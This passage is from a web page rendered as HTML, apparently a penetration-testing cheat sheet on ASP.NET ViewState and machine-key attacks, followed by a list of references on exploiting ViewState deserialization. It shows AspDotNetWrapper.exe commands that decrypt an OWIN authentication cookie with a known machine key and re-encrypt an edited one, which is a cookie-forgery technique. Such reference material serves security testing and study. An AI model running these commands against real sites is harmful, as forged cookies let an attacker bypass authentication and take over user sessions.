<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="p">$</span> <span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">C</span><span class="p">:\</span><span class="n">MachineKey</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-cookie</span> <span class="n">XXXXXXX_XXXXX-XXXXX</span> <span class="p">-</span><span class="n">-decrypt</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">owin</span><span class="p">.</span><span class="n">cookie</span> <span class="p">-</span><span class="n">-valalgo</span><span class="p">=</span><span class="n">hmacsha512</span> <span class="p">-</span><span class="n">-decalgo</span><span class="p">=</span><span class="n">aes</span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a>
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="c"># encrypt cookie (edit Decrypted.txt)</span>
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="p">$</span> <span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-decryptDataFilePath</span> <span class="n">C</span><span class="p">:\</span><span class="n">DecryptedText</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817">Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019</a></li>
<li><a href="https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/">Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019</a></li>
<li><a href="https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet">Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019</a></li>
<li><a href="https://www.notsosecure.com/project-blacklist3r/">Project Blacklist3r - @notsosecure - November 23, 2018</a></li>
<li><a href="https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/">View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024</a></li>
</ul>
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